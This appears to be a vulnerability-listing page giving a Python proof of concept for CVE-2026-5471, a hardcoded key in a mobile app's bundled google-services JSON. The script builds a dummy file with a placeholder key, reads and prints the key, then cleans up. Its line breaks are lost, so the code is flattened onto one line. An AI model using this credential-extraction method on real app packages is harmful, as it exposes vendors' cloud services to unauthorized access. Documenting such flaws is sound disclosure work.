CVE-2026-5471 Investory Toy Planet Trouble硬编码密钥漏洞

# Proof of Concept (PoC) for CVE-2026-5471 # This script demonstrates how to extract the hardcoded key # from the vulnerable application's assets. import json import os # Simulating the path to the extracted APK assets directory VULNERABLE_FILE_PATH = "assets/google-services-desktop.json" def check_vulnerability(file_path): """ Checks if the target file contains a hardcoded current_key. """ if not os.path.exists(file_path): print(f"[!] File not found: {file_path}") return try: with open(file_path, 'r') as f: data = json.load(f) if 'current_key' in data: print(f"[+] Vulnerability Detected!") print(f"[+] Hardcoded key found: {data['current_key']}") print("[+] An attacker can use this key for unauthorized access.") else: print("[-] Vulnerability not found or key already rotated.") except json.JSONDecodeError: print(f"[!] Error parsing JSON file.") if __name__ == "__main__": # Create a dummy file for demonstration os.makedirs("assets", exist_ok=True) dummy_data = {"project_info": {}, "client": [], "current_key": "AIzaSyDummyHardcodedKeyForDemo123"} with open(VULNERABLE_FILE_PATH, 'w') as f: json.dump(dummy_data, f) print(f"--- Analyzing CVE-2026-5471 ---") check_vulnerability(VULNERABLE_FILE_PATH) # Cleanup os.remove(VULNERABLE_FILE_PATH) os.rmdir("assets")